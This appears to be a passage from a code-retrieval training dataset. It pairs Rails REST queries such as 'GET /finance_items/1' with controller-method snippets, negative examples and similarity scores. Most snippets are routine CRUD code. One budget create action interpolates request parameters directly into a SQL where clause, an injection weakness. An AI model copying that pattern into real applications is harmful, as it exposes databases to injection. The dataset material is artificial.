"def index\n @received_item_and_qties = ReceivedItemAndQty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @received_item_and_qties }\n end\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def index\n render json: RequestItem.all\n end",
"def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @order_items = OrderItem.all\n # render json: @order_item, status: :created\n # render json: @order_item.as_json(include: :item)\n\n end",
"def index\n @auth_shopping_cart_items = @auth_shopping_cart_item_class.find_cart_items({:resource => lookup_resource}).page 1\n respond_with @auth_shopping_cart_items\n end",
"def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end",
"def index\n\t@cart_items = CartItem.all\n\n\trender json: @cart_items\n\tend",
"def index\n @financing = Financing.find(params['financing_id'])\n @financing_items = @financing.items\n if @financing_items.empty?\n @financing_items.push @financing.default_item\n end\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n @finance = Finance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance }\n end\n end",
"def index\n @user = current_user\n @contract_items = ContractItem.all\n end",
"def index\n @section = Section.find(params[:section_id])\n @items = @section.items\n render json: ItemSerializer.new(@items)\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @financials }\n end\n end",
"def item(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V2/auctionItem\", Yahoo::Api.merge(opts))\r\n end",
"def show\n item = Item.find(params[:id])\n render json: item\n end",
"def fetch\n result = WebApi.json!(\"IEconItems_#{app_id}\", 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n item_class = self.class.send :class_variable_get, :@@item_class\n\n @items = []\n result[:items].each do |item_data|\n unless item_data.nil?\n item = item_class.new(self, item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end",
"def index\n @incomes = current_company.incomes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @incomes }\n end\n end",
"def index\n @items = @channel.items\n @items = @query.search(@items)\n @items = @items.order_by_published_at_desc\n @items = @items.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end",
"def show\n @finance_inflow = FinanceInflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance_inflow }\n end\n end",
"def index\n @contracts = Contract.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contracts }\n end\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend",
"def index\n @trade_items = TradeItem.all\n end",
"def getPendingItemInfo\n @output = []\n @items = Item.where(status: \"pending\")\n for item in @items do\n for cart in item.carts do\n @user = User.find(cart.user_id)\n @output << {user: @user, item: item, cart_id: cart.id }\n end\n end\n render :json => @output\n end",
"def index\n @foil_items = FoilItem.all\n end",
"def index\n @items = Item.includes(:user).order(created_at: :desc).all\n render json: @items\n end",
"def index\n @monthly_finances = MonthlyFinance.all\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @monthly_finances }\n # end\n end",
"def index\n @taxes = params['item_id'] ? Item.find(params['item_id']).taxes : Tax.all\n render json: @taxes\n end",
"def index\n @incomes = Income.all\n\n respond_to do |format|\n format.json { render json: @incomes }\n end\n end",
"def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def list_items( args={} )\n @session.base_url = \"http://my.cl.ly\"\n \n url = \"/items\"\n args.each do |k, v|\n # probably a nicer way to do this\n if url == \"/items\"\n url << \"?#{k.to_s}=#{v.to_s}\"\n else\n url << \"&#{k.to_s}=#{v.to_s}\"\n end\n end\n resp = @session.get( url )\n \n raise AuthorizationError if resp.status == 401\n Crack::JSON.parse(resp.body)\n end",
"def show\n @itemstable = Itemstable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstable }\n end\n end",
"def index\n @placed_furniture_items = PlacedFurnitureItem.all\n end",
"def index\n @items = @sale.items\n end",
"def index\n authorize Item, policy_class: GroupBuyingPolicy\n page = params.fetch(:page, 1).to_i\n return bad_response(message: 'Invalid Request') unless page.positive?\n\n @items = Item.includes(:group_buyings).where(\n \"bidding_end_time > '#{Time.current}' AND group_buying = 1\",\n ).limit(10).offset((page - 1) * 10).order(:bidding_end_time)\n\n count = Item.includes(:group_buyings).where(\n \"bidding_end_time > '#{Time.current}' AND group_buying = 1\",\n ).count\n render json: @items, 'meta': { 'total_count': count }\n end",
"def show\n @trade_item = TradeItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trade_item }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @auction_items = AuctionItem.all\n end",
"def index\n @feed_items = @user.feed_items\n render json: @feed_items\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def show\n\t\trender json: @auction_item.as_json\n\tend",
"def index\n # TODO: ideally instead of eager loading sells, we could just include\n # quantity_sold in the eager_lod for lots.\n @portfolios = Portfolio.eager_graph(lots: :sells).eager_graph(allocations: {:asset_class => :funds}).all\n\n render json: @portfolios\n end",
"def get_financials\n render json: [current_user]\n end",
"def get_books(response)\n response[\"items\"]\nend"
] |
[
"0.69627506",
"0.68480736",
"0.66970426",
"0.66421974",
"0.6614795",
"0.65062666",
"0.65062666",
"0.65062666",
"0.65062666",
"0.6488863",
"0.6467391",
"0.6455168",
"0.64240485",
"0.63745",
"0.636653",
"0.634545",
"0.63429356",
"0.6332963",
"0.63220257",
"0.6310578",
"0.6287953",
"0.62674636",
"0.62197095",
"0.62178385",
"0.6201405",
"0.6184937",
"0.6183287",
"0.6171858",
"0.61718327",
"0.6158359",
"0.6143945",
"0.61400664",
"0.613866",
"0.6133899",
"0.6127481",
"0.61251116",
"0.6118547",
"0.6116831",
"0.6107896",
"0.61041945",
"0.6094218",
"0.60788274",
"0.60736275",
"0.60643196",
"0.6063453",
"0.6062281",
"0.6044898",
"0.6044861",
"0.6042309",
"0.6041019",
"0.6039941",
"0.6038167",
"0.60373986",
"0.6034086",
"0.60294616",
"0.6029334",
"0.6027001",
"0.6025549",
"0.60192037",
"0.6017299",
"0.60161686",
"0.6014792",
"0.6014792",
"0.6014792",
"0.6014792",
"0.60073054",
"0.59996104",
"0.5998446",
"0.59885496",
"0.59865654",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.59858733",
"0.5981622",
"0.5977782",
"0.5974007",
"0.59723455",
"0.59706944"
] |
0.7360347
|
0
|
GET /finance_items/1 GET /finance_items/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @finance_items = FinanceItem.all\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n @items = Item.find(params[:id])\n render json: @items\n end",
"def show\n @finance = Finance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance }\n end\n end",
"def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n @finance_inflow = FinanceInflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance_inflow }\n end\n end",
"def show\n item = Item.find(params[:id])\n render json: item\n end",
"def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"def show\n @trade_item = TradeItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trade_item }\n end\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @financials }\n end\n end",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n @accounting_items = Accounting::Item\n .where(user_id: @current_user.id)\n .includes(:type)\n .joins(:type)\n\n respond_to do |format|\n format.json { render json: @accounting_items, include: :type }\n end\n end",
"def show\n @itemstable = Itemstable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstable }\n end\n end",
"def index\n @furniture_items = FurnitureItem.all\n end",
"def show\n @feed_item = Item.find(params[:id])\n\n render json: @feed_item\n end",
"def show\n render json: Item.find(params[\"id\"])\n end",
"def show\n @incomestock = Incomestock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incomestock }\n end\n end",
"def show\n @purchase = Purchase.find(params[:purchase_id])\n @purchase_item = @purchase.purchase_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_item }\n end\n end",
"def show\n @monthly_finance = MonthlyFinance.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_finance }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end",
"def index\n render json: RequestItem.all\n end",
"def index\n @cart_items = CartItem.all\n\n render json: @cart_items\n end",
"def index\n @received_item_and_qties = ReceivedItemAndQty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @received_item_and_qties }\n end\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def index\n\t\t@auction_items = @auction.auction_items\n\t\trender json: @auction_items.as_json\n\tend",
"def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end",
"def show\n @item = Item.all.where(collection_id: params[:id])\n render :json => @item\n end",
"def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end",
"def show\n \n render status: 200, :json => @item\n\n end",
"def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def index\n @incomes = current_company.incomes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @incomes }\n end\n end",
"def set_finance_item\n @finance_item = FinanceItem.find(params[:id])\n end",
"def index\n @incomes = Income.all\n\n respond_to do |format|\n format.json { render json: @incomes }\n end\n end",
"def index\n @contracts = Contract.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contracts }\n end\n end",
"def show\n require 'net/http'\n require 'json'\n\n response = Net::HTTP.get_response( URI.parse( \"http://freeshit.firebaseio.com/items/%s.json\" % [ params[:id] ] ) );\n\n begin\n @fb_item = JSON.parse(response.body)\n rescue\n render :status => 404, :text => 'Item not found.'\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fb_item }\n end\n end",
"def show\n @stock = Stock.find(params[:id])\n\n render json: @stock\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def index\n @order_items = OrderItem.all\n # render json: @order_item, status: :created\n # render json: @order_item.as_json(include: :item)\n\n end",
"def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @closet_item = ClosetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @closet_item }\n end\n end",
"def index\n @monthly_finances = MonthlyFinance.all\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @monthly_finances }\n # end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @taxes = params['item_id'] ? Item.find(params['item_id']).taxes : Tax.all\n render json: @taxes\n end",
"def index\n @apiv1_items = Item.all.order(:name)\n end",
"def company_intel\n company_id = params[:company_id]\n start_date = params[:start_date]\n end_date = params[:end_date]\n\n @intel = ItemPurchase.get_market_share(company_id, start_date, end_date)\n\n respond_to do |format|\n format.json\n end\n \n \n \n \n end",
"def show\n @shared_item = SharedItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shared_item }\n end\n end",
"def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def index\n @auth_shopping_cart_items = @auth_shopping_cart_item_class.find_cart_items({:resource => lookup_resource}).page 1\n respond_with @auth_shopping_cart_items\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @funds = Fund.all\n\n render json: @funds\n end",
"def index\n @financing = Financing.find(params['financing_id'])\n @financing_items = @financing.items\n if @financing_items.empty?\n @financing_items.push @financing.default_item\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def item_from_fridge_id\n @items = Item.where(:fridge_id => params[:fridge_id])\n render :json => @items.to_json(:include => :product)\n end",
"def getItems()\n return mergeWithAPI(@item_json)['data']\n end",
"def item\n # Url generated from Js script function => getitem() of _form.html.erb file under Views of different controllers\n @item = Report.where(\"user_id = ?\" , current_user.id).pluck(:item_name )\n # send item_names' in form of json\n render json: @item\n end",
"def show\n @financial = Financial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial }\n end\n end",
"def item(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V2/auctionItem\", Yahoo::Api.merge(opts))\r\n end",
"def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end",
"def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def show\n\t\trender json: @auction_item.as_json\n\tend",
"def show\n @purchase_order_item = PurchaseOrderItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_order_item }\n end\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def index\n @invoice_line_items = current_brand.invoice_line_items.all\n puts @invoice_line_items.as_json\n @invoice_line_item = InvoiceLineItem.new\n end",
"def index\n @fundamentals_histories = @company.fundamentals_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamentals_histories }\n end\n end",
"def index\n\t@cart_items = CartItem.all\n\n\trender json: @cart_items\n\tend",
"def show\n @item_datum = ItemData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_datum }\n end\n end"
] |
[
"0.71434855",
"0.6999149",
"0.6852593",
"0.6710289",
"0.6608596",
"0.6508267",
"0.64741874",
"0.6473179",
"0.6432177",
"0.6424331",
"0.64037335",
"0.63769454",
"0.63769454",
"0.63769454",
"0.63769454",
"0.6365248",
"0.6348531",
"0.63376814",
"0.63280034",
"0.62592596",
"0.6228733",
"0.6227837",
"0.6223384",
"0.6214994",
"0.6210275",
"0.620475",
"0.6201967",
"0.62000346",
"0.6196792",
"0.6185966",
"0.6183555",
"0.6179619",
"0.6178268",
"0.6175476",
"0.6174299",
"0.6167763",
"0.61642617",
"0.6141064",
"0.61312926",
"0.6123781",
"0.6111132",
"0.6108367",
"0.6108078",
"0.60929173",
"0.609183",
"0.6083614",
"0.6081396",
"0.6081374",
"0.607879",
"0.6078661",
"0.60716265",
"0.6066372",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.6050707",
"0.60374683",
"0.60298365",
"0.60230607",
"0.6021127",
"0.6020984",
"0.60152185",
"0.6014614",
"0.60110563",
"0.60110563",
"0.60110563",
"0.60110563",
"0.60095197",
"0.6000614",
"0.59967905",
"0.5994746",
"0.59934485",
"0.59930736",
"0.59889996",
"0.59879494",
"0.59861547",
"0.5985036",
"0.59821564",
"0.59806496",
"0.5978365",
"0.5975165",
"0.5973917",
"0.59734344",
"0.5964625",
"0.59636104",
"0.5953529"
] |
0.0
|
-1
|
POST /finance_items POST /finance_items.json
|
def create
goal=Goal.find(params[:goal_id])
goal_text=goal.goal
@finance_item = @temp_item.finance_items.build(goal: goal)
respond_to do |format|
if @finance_item.save
if (goal_text=="Keep a Budget")
format.html { redirect_to new_temp_budget_plan_path, notice: 'Finance item was successfully created.' }
elsif (goal_text=="Set up a Protection")
format.html { redirect_to new_protection_plan_path, notice: 'Finance item was successfully created.' }
elsif (goal_text=="Emergency Fund")
format.html { redirect_to new_emergency_plan_path, notice: 'Finance item was successfully created.' }
elsif (goal_text=="Emergency Fund")
format.html { redirect_to new_emergency_plan_path, notice: 'Finance item was successfully created.' }
elsif (goal_text=="College Fund")
format.html { redirect_to new_college_plan_path, notice: 'Finance item was successfully created.' }
elsif (goal_text=="Plan for Retirement")
format.html { redirect_to new_retirement_plan_path, notice: 'Finance item was successfully created.' }
elsif (goal_text=="Investment")
format.html { redirect_to new_investment_plan_path, notice: 'Finance item was successfully created.' }
end
format.json { render action: 'show', status: :created, location: @finance_item }
else
format.html { render action: 'new' }
format.json { render json: @finance_item.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n item = list.items.create!(item_params)\n render json: item, status: 201\n end",
"def create\n # defined object to receive strict item_params including :description, :price, :stockQty ; else return 400\n @item = Item.new(item_params)\n \n if @item.save\n render json: @item.to_json, status: 201\n else\n head 400\n end\n end",
"def create\n @portfolio_finance = PortfolioFinance.new(portfolio_finance_params)\n @portfolio_finance.user = current_user\n\n if params[:portfolio_finance][:share_items].present?\n params[:portfolio_finance][:share_items].each do |key, share_item|\n if share_item[:quantity].to_i > 0\n @portfolio_finance.add_share_item(ShareItem.new(:share_id => key, :quantity => share_item[:quantity].to_i))\n end\n end\n end\n\n respond_to do |format|\n if @portfolio_finance.save\n format.html { redirect_to root_path, notice: 'Portfolio finance was successfully created.' }\n format.json { render :show, status: :created, location: @portfolio_finance }\n else\n format.html { render :new }\n format.json { render json: @portfolio_finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n @item.budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to after_save_redirection_path, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @budget = Budget.new(budget_params)\n respond_to do |format|\n if @budget.save\n \n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: @budget.id)\n end\n end\n \n format.html { redirect_to budgets_path, notice: \"Budget was successfully created.\" }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n item = Item.new(item_params)\n item.done = \"0\"\n item.trash = \"0\"\n\n if item.save\n render json: {data:item}, status: :created\n else\n render json: {data:item}, status: :unprocessable_entity\n end\n end",
"def create\n create_params = item_params\n item = Item.new(\n name: create_params[:name], \n is_complete: false, #create_params[:is_complete], \n list_id: create_params[:list_id])\n\n item.save!\n render json: item\n end",
"def create\n @request_item = RequestItem.new(request_item_params)\n @request_item.item = Item.new(name: params[:request_item][:item][:name])\n\n if @request_item.save\n render json: @request_item \n else\n render json: @request_item.errors, status: :bad_request\n end\n end",
"def create\n @item = Item.new(item_params)\n if @item.save\n @items = Item.all\n render status: 201, :json => @item\n \n else\n render status: 404, json: { message: @item.errors}.to_json\n end\n \n \n end",
"def finance_item_params\n params.require(:finance_item).permit(:goal_id, :temp_item_id)\n end",
"def create\n @financing_item = FinancingItem.new(financing_item_params)\n\n respond_to do |format|\n if @financing_item.add(params[:money_flow])\n format.html { redirect_to action: \"index\",financing_id: @financing_item.financing.id }\n format.json { render :show, status: :created, location: @financing_item }\n else\n format.html { render :new }\n format.json { render json: @financing_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = current_owner.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'Item was created successfully' }\n format.json { render :show, status: :created, location: items_path }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n item = Item.new(item_params)\n item.user = current_user\n if item.save\n render json: item\n else\n render json: {errors: item.errors}, status: :unprocessable_entity\n end\n end",
"def create\n @item = Item.new(params[:item])\n @item.save\n respond_with @item\n end",
"def create\n\t\titem = Item.create(item_params)\n\t\trender json: item\n\tend",
"def create\n @item = @client.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully added.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n cart_uuid = params[:cart_id]\n @item = Item.new(item_params.merge(cart_uuid: cart_uuid))\n if @item.save\n render json: @item, status: 201\n else\n render_errors 400, @item.errors.full_messages\n end\n end",
"def create\n @item = @deal.items.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to deal_items_url(@deal), notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n code = params[:item][:event_id] \n params[:item].delete :event_id\n index = params[:item][:index]\n params[:item].delete :index\n\n @item = Item.new(params[:item])\n @item.ranked_position = index if index\n event = Event.find(Event.id_from_code(code))\n @item.event = event\n @item.save\n\n respond_to do |format| \n format.html { redirect_to @item, notice: 'item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n end\n end",
"def save_items_data\n @parsed[\"order_items\"].each do |i| \n external_code = i['item']['id']\n item = Item.find_or_create_by(external_code: external_code)\n item.order_id = @order.id\n item.external_code = i['item']['id']\n item.name = i['item']['title']\n item.price = i['unit_price']\n item.quantity = i['quantity']\n item.total = i['full_unit_price']\n @subItems = []\n item.save\n end\n end",
